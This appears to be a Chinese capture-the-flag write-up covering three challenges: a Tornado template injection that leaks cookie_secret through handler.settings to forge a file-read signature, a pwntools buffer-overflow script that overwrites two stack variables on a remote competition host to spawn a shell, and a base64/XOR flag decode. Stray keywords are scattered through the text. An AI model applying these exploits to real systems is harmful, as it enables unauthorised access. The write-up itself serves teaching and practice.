題目沒有截圖。web
三個文件,給了3個提示文件。綜合起來看,主要是讀文件,不過須要一個參數signature,根據給出的提示文件的URL,signature就是提示中產生的MD5。因此還須要一個cookie_secret,cookie裏沒有,應該是隱含在服務器裏了。render()提示應該是一個SSTI漏洞。擼了一下flag文件,報錯,URL裏出現了模板符號,印證了想法。而後去翻tornado文檔,主要看模板和配置。文檔說當前的請求內容主要放在handler對象裏,試出來了一個handler.settings暴露參數,cookie_secret。兩個參數:file爲文件名,signature帶上算出轉換後的MD5訪問文件,獲得flag。shell
用 IDA 打開程序,整個解題思路就已經明擺在面前了,溢出buf達到pwn的目的。
起shell的條件是(v7 == 0x7FFFFFFFFFFFFFFF && v8 == 0.1)服務器
做爲靜態調試工具,IDA能F5插件能解析出來的,都能在程序裏找獲得。v8的十進制值0.1就是qword_c10對應的16進制值。cookie
主要覆蓋的是v8,但波及到了v7,因此v7也要重寫。相差0x18,也就是24。tornado
from pwn import * p = remote("49.4.78.31", 30482) p.sendlineafter('you', 'x' * 24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)) p.interactive()
base64解碼後異或工具
import base64 s = base64.b64decode('AAoHAR0jJ1AlVVEkU1BUVCAlIlFTUVUiUFRTVFVeU1FXUCVUJxs=') for n in range(127): flag='' for i in s[:4]: flag += ''.join(chr(i ^ n)) if 'flag' in flag: for i in s[4:]: flag += ''.join(chr(i ^ n)) print(n) print(flag)